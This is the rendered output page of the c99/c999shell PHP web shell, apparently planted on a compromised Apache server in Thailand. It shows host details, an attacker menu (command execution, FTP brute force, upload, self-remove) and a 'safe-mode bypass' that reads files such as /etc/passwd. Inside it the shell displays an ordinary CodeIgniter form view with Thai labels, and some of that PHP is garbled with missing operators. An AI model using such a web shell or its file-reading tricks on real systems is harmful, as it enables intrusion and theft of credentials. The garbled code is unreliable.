!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/esa/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_add_attribute.php (7.25 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" ></script>
<script language="javascript" >
    $(document).ready(function(){
        var seq = $("#atb_seq").attr('value');
        if (seq =='') {
            var number = parseInt($("#table_show tr:last").children("td:first-child").text())+1 ;
            if(isNaN(number)){ number=1; }
            $("#atb_seq").attr('value',number);
        }
    });
</script>
<script language="javascript">
    function doSubmit(){

        for (var i=0; i < 2; i++)
        {
           if (document.myform.atb_status[i].checked)
           {
              var atb_status = document.myform.atb_status[i].value;
            }
        }
        document.myform.atb_status.value = atb_status;
        document.myform.submit();
    }

    function do_delete_atb(id,type){
        var answer = confirm("ต้องการลบใช่หรือไม่");
        alert(answer);
        if (answer){
            alert(document.myform.action);
            alert('answer='+answer);
            document.myform.action = 'esa/base_data/del_atb';
            document.myform.atb_id.value = id;
            document.myform.atb_type.value = type;
            document.myform.submit();
        }

        return false;
    }
</script>
<?php
    $_image_reply 
= array(
                    
'src' => 'images/edit.png',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'แก้ไขข้อมูล',
                    
'onmouseover' => "this.style.cursor='pointer'"
    
);
    
$_image_del = array(
                    
'src' => 'images/delete.png',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'ลบข้อมูล',
                    
'onmouseover' => "this.style.cursor='pointer'"
    
);//
    
$_image_add = array(
                    
'src' => 'images/esa/add.gif',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'เพิ่ม',
                    
'align' => 'absmiddle',
                    
'onmouseover' => "this.style.cursor='pointer'"
    
);//
$atb = ($qu_atb->num_rows() > ) ? $qu_atb->row() : NULL;
?>

<?php echo form_open('esa/base_data/add_attribute');?>
<table id="table_input" class='szone2' width="60%" border="0">

    <tr >
        <th width="25%" align="right">คุณลักษณะโครงการ(ภารกิจ)</th>
        <td width="75%" >
<?php

    
//echo "id(".getval('atb_id', $atb).") &nbsp;&nbsp;";
    
if($add == 'TRUE' || $add == 'เพิ่ม' ){
        
$a_id 0;
        
$a_pid set_value('atb_parentId',getval('atb_id'$atb));
        
$a_name '';
        
//echo (getval('atb_name', $atb))?getval('atb_name', $atb).'<br> หัวข้อย่อย :':'';
        
echo ($qu_atb->num_rows() > )? $atb->atb_name.'<br> หัวข้อย่อย :':'';
    }else{
        if (
getval('atb_parentId',$atb) == 0) {
            
$a_id getval('atb_id'$atb);
            
$a_pid getval('atb_parentId'$atb);
            
$a_name getval('atb_name'$atb);
        } else {
            
$a_id getval('atb_id'$atb);
            
$a_pid getval('atb_parentId'$atb);
            
$a_name getval('atb_name'$atb);
            echo 
getval('p_name'$atb)?getval('p_name'$atb).'<br> แก้ไขหัวข้อย่อย :':'';
        }
        
//echo (getval('atb_name', $atb))?getval('atb_name', $atb).'<br> แก้ไขหัวข้อย่อย :':'';
    
}
?>
            <input type="hidden" name="atb_id" value="<?php echo $a_id;?>" />
            <input type="hidden" name="atb_parentId" value="<?php echo $a_pid;?>" />
            <input type="text" name="atb_name" id="atb_name" value="<?php echo $a_name;?>" size="50" /><font color='red'> *</font>
            <input type="submit" name="add" value="<?php echo ($add == 'TRUE'  || $add == 'เพิ่ม' )?'เพิ่ม':'แก้ไข';?>" />
            <?php echo form_error('atb_name'); ?>
            <?php echo isset($error_name)?$error_name:''?>
        </td>
    </tr>
</table><br />
<table id="table_show" class='tb_1' width="60%" border="0">

    <tr>
        <th >คุณลักษณะโครงการ(ภารกิจ)</th>
        <th width="10%">แก้ไข</th>
        <th width="5%">ลบ</th>
    </tr>
<?php 
if ($rs_atb->num_rows 0) {
    
$index=1;
    
$p 1;
    
$p_index=0;
    foreach (
$rs_atb->result() as $row) {

        if(
$row->p_atb_id != $p_index){
            
$p_index $row->p_atb_id ;
?>
    <tr>

        <td align="left">&nbsp;<?php if($row->p_atb_parentId!=0){echo nbs(2); }else{ ?>
        <span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->p_atb_id;?>,'add':'TRUE'}, 'attribute')"><?php echo img($_image_add)?></span><b><?php }?>&nbsp;<font size="2"><?php echo $row->p_atb_name;?></b></font></td>
        <td align="center"><span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->p_atb_id;?>,'add':'FALSE'}, 'attribute')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
        <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'atb_id':<?php echo $row->p_atb_id;?>,'add':'FALSE'}, 'del_attribute'); }"><?php echo img($this->config->item('sa_image_del'));?></td>
    </tr>

<?
            
if($row->atb_id !=NULL){
                
$index++;
?>
    <tr >

        <td align="left">&nbsp;<?php if($row->atb_parentId!=0){echo nbs(4); }else{ ?><span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->atb_id;?>,'add':'TRUE'}, 'attribute')"><?php echo img($_image_add);?></span><?php ?>&nbsp;<font size="2"><?php echo $row->atb_name;?></b></font></td>
        <td align="center"><span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->atb_id;?>,'add':'FALSE'}, 'attribute')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
        <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'atb_id':<?php echo $row->atb_id;?>}, 'del_attribute'); }"><?php echo img($this->config->item('sa_image_del'));?></span></td>
    </tr>
<?
            
}
        }else{
        
?>
        
    <tr >

        <td align="left">&nbsp;
        <?php  if($row->atb_parentId!=0){ echo nbs(2); 
            }else{ 
?>
        <span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->atb_id;?>,'add':'TRUE'}, 'attribute')"><?php echo img($_image_add);?></span>
        <?php }?>&nbsp;
        <font size="2"><?php echo $row->atb_name;?></b></font></td>
        <td align="center"><span class="hand" onClick="sendPost('myform', {'atb_id':<?php echo $row->atb_id;?>,'add':'FALSE'}, 'attribute')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
        <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'atb_id':<?php echo $row->atb_id;?>}, 'del_attribute'); }"><?php echo img($this->config->item('sa_image_del'));?></span>
    </tr>
<?php 
        
}
        
$index++;
    }
} else {
?>
        <tr class='notfound'>
            <td colspan="12" align="center"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php 
}
?>
</table>
<?php echo form_close();?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--